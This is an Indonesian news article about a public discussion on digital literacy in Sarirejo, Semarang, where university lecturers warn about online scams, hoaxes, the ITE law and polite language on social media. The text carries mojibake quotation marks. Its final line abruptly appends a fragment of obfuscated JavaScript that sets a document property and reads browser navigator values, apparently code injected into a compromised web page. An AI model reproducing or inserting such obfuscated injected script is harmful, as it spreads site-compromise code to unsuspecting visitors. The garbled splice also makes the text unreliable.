Waspada menerima, dan bijak memproduksi Informasi
Tidak bisa dipungkiri hadirnya perangkat digital membantu kehidupan kita. Dengan media jaringan internet banyak hal bisa dilaksanakan dengan mudah dan cepat. Misalnya saja, jika delu dengan surat seseorang membutuhkan waktu berhari-hari unutk mengirim dan menerima pesan, dengan internet hal itu bisa dilakukan dengan hitungan detik. Namun, kehadiran media digital itu bukan tidak ada masalah. Banyak masalah yang menyertainya, masyarakat jangan sampai menjadi korban atas kehadiran media digital ini.
Hal tersebut tersampaikan dalam acara diskusi Publik dengan tema ai???Peningkatan Literasi Digital di Masyarakat Berdasarkan Aspek Kebahasaan Informasi pada Media Sosialai??? di kantor kelurahan Sarirejo, Semarang Timur, Semarang. Acara ini diselenggarakan mahasiswa Kuliah Kerja Nyata (KKN) Kelurahan Sarirejo dan menghadirkan masyarakat sebagai peserta. Hadir sebagai pembicara adalah, Dr Asropah MPd, Ika Septiana, Muhajir, dan Ahmad Rifai. Pembicara adalah dosen Bahasa Universitas PGRI Semarang.
Lurah Sarirejo, Ismadi, S.AP berharap diskusi publik ini dapat membantu masyarakat dalam menggunakan media sosial dengan positif. ai???Mungkin ibu-ibu bisa memasak, bisa menjahit. Bagaimana memasarkan produk itu melalu media sosial. Sekarang untuk antar hasil produk juga sudah ada ojek online.ai??? Tutur Ismadi.
Masalah media sosial adalah bagaigamana masyarakat menerima informasi dan memproduksi informasi. ai???Kita harus bijak ketika memproduksi informasi dan cerdas ketika menerima informasi. Saat ini banyak penipuan menggunakan media digital baik itu melalui email, SMS, mapun media sosial. Banyak juga korbannya dan mencapai jutaan rupiah. Literasi digital adalah kita harus kritis saat menerima informasi dan tidak langsung dipercaya. Cara memastikan sebuah akin asli atau palsu misalnya dengan mengecek berapa lama akun itu dibuat, komunikasi dan interaksi yang ada dalam akun tersebut, dan meminta rekomendasi kepada orang-orang sebelum kita melakukan transaksi.ai??? Tutur Muhajir.
Ahmad Rifai menambahkan bahwa kita harus berpikir dulu sebelum menyebarkan informasi, jangan menyebarkan dulu baru memikirkan. Di media sosial jangan mudah percaya dan jangan mudah tersulut emosi jika membaca berita yang tidak mengenakkan. ai???Jangan sampai kita masuk penjara hanya karena menyebarkan berita bohong dan menyela , mengejek, menghina dengan kalimat yang tidak baik. Ada undang-undang ITE dan ujaran kebencian.ai??? Tutur Ahmad Rifai.
Ika Septiana menuturkan bahwa bahasa mencerminkan bagaimana seseorang. Komunikasi di media sosial adalah komunikasi massa, selayaknya lebih sopan dan bahasanya terseleksi. Untuk membangun citra, atau kalau kita mau jualan di media sosial maka yang perlu dilakukan adalah pertama membangun akun, kedua menacari followers sebanyak-banyaknya, kemudian memproduksi contain atau isi yang menarik dan dengan bahasa yang menarik pula. 00000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}